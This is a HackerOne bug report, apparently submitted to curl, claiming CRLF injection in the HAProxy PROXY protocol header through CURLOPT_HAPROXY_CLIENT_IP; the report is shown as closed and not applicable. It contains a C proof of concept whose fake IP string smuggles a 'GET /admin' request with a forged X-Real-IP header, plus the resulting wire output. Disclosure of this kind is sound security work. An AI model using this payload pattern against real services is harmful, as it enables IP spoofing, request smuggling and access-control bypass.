CRLF Injection in HAProxy PROXY Protocol via CURLOPT_HAPROXY_CLIENT_IP allows IP spoofing and protocol injection

Disclosed: 2026-03-30 04:04:58 By sakthi02_sk To curl
Medium
Vulnerability Details
## Summary: `CURLOPT_HAPROXY_CLIENT_IP` (introduced in curl 8.2.0) accepts arbitrary strings without any validation or sanitization before injecting them into the HAProxy PROXY protocol v1 header. An attacker who can influence the value passed to this option (e.g., through a web application that proxies requests using libcurl) can inject CRLF sequences to terminate the PROXY header prematurely and inject arbitrary data into the TCP stream. This enables IP address spoofing at the HAProxy/backend level and potential HTTP request smuggling through the proxy trust boundary. The core issue is in `lib/cf-haproxy.c` line 88, where the user-supplied `client_ip` string is formatted directly into the PROXY protocol header: ```c result = curlx_dyn_addf(&ctx->data_out, "PROXY %s %s %s %i %i\r\n", is_ipv6 ? "TCP6" : "TCP4", client_ip, ipquad.remote_ip, ipquad.local_port, ipquad.remote_port); ``` And in `lib/setopt.c` lines 1738-1745, the option stores the string with zero validation: ```c case CURLOPT_HAPROXY_CLIENT_IP: result = Curl_setstropt(&s->str[STRING_HAPROXY_CLIENT_IP], ptr); s->haproxyprotocol = !!s->str[STRING_HAPROXY_CLIENT_IP]; break; ``` ## Affected version curl 8.2.0 through 8.20.0-DEV (current master, commit bb0c8cf). The `CURLOPT_HAPROXY_CLIENT_IP` option was introduced in curl 8.2.0 via commit that added HAProxy client IP support. Tested against: libcurl 8.20.0-DEV (latest master branch) Platform: Linux (Ubuntu 24) ## Steps To Reproduce: ### Step 1: Vulnerable application pattern Any application using libcurl that passes external/user-controlled input to `CURLOPT_HAPROXY_CLIENT_IP`: ```c #include <curl/curl.h> #include <stdio.h> int main(void) { CURL *curl = curl_easy_init(); if(curl) { curl_easy_setopt(curl, CURLOPT_URL, "http://backend-server:8080/api"); // Simulating user-controlled input (e.g., from X-Forwarded-For header) // Attacker provides a malicious "IP address" const char *malicious_ip = "127.0.0.1\r\n" "GET /admin HTTP/1.1\r\n" "Host: backend-server\r\n" "X-Real-IP: 10.0.0.1\r\n" "\r\n" "ignored"; curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, malicious_ip); curl_easy_perform(curl); curl_easy_cleanup(curl); } return 0; } ``` ### Step 2: What gets sent on the wire Instead of the expected single PROXY protocol header: ``` PROXY TCP4 127.0.0.1 <remote_ip> <local_port> <remote_port>\r\n ``` The injected content produces: ``` PROXY TCP4 127.0.0.1\r\n GET /admin HTTP/1.1\r\n Host: backend-server\r\n X-Real-IP: 10.0.0.1\r\n \r\n ignored <remote_ip> <local_port> <remote_port>\r\n ``` ### Step 3: Backend impact The HAProxy or backend server receiving this connection: 1. Parses the first line `PROXY TCP4 127.0.0.1` as the PROXY header (spoofed source IP) 2. Processes the injected `GET /admin` as a legitimate HTTP request from the "trusted" source IP 3. This bypasses IP-based access controls that rely on the PROXY protocol for client identification ### Step 4: Verification via code review ```bash # Confirm no validation exists: grep -n 'CURLOPT_HAPROXY_CLIENT_IP' lib/setopt.c # Shows: Curl_setstropt() only - no character validation # Confirm direct format string usage: grep -n 'client_ip' lib/cf-haproxy.c # Shows: client_ip inserted directly into dyn_addf format string # Confirm documentation acknowledges the gap: grep 'verification' docs/libcurl/opts/CURLOPT_HAPROXY_CLIENT_IP.md # Shows: "libcurl does little to no verification" ``` ### Important distinction from curl's CRLF policy: I am aware that curl's VULN-DISCLOSURE-POLICY states CRLF in user data is not considered a security problem. However, this case is distinct because: 1. **The PROXY protocol is a security trust boundary** — servers use the client IP from this header for access control, rate limiting, and audit logging 2. **The documentation specifically says it should be "a valid IPv4 or IPv6 numerical address"** — this is not a free-form field like HTTP headers 3. **The docs acknowledge "little to no verification"** — suggesting the team recognizes validation should exist but is incomplete 4. **Other similar options DO validate** — for example, `Curl_host_is_ipnum()` exists and could be used here 5. **The attack crosses a trust boundary** — unlike CRLF in HTTP headers (same connection), PROXY protocol injection impersonates a different client to the backend infrastructure ## Impact ## Summary: An attacker who can influence the `CURLOPT_HAPROXY_CLIENT_IP` parameter in an application using libcurl can: 1. **IP Address Spoofing**: Forge the source IP address seen by backend servers that trust the HAProxy PROXY protocol header, bypassing IP-based access controls, allowlists, and rate limiters. 2. **HTTP Request Smuggling**: Inject a complete HTTP request after the terminated PROXY header, causing the backend to process attacker-controlled requests that appear to come from a trusted internal IP address. 3. **Audit Log Poisoning**: Forge source IPs in server access logs, undermining forensic investigation capabilities. 4. **Access Control Bypass**: Gain access to admin panels or internal APIs that restrict access by source IP, when those systems rely on the PROXY protocol for client identification. The severity is Medium because exploitation requires the attacker to control the `CURLOPT_HAPROXY_CLIENT_IP` value in an application, which is an application-level input validation issue. However, the fix is trivial (validate the string as an IP address) and the documentation explicitly promises the parameter should be "a valid IPv4 or IPv6 numerical address." Affected versions: curl 8.2.0 through 8.20.0-DEV (current)
Actions
View on HackerOne
Report Stats
  • Report ID: 3633534
  • State: Closed
  • Substate: not-applicable
Share this report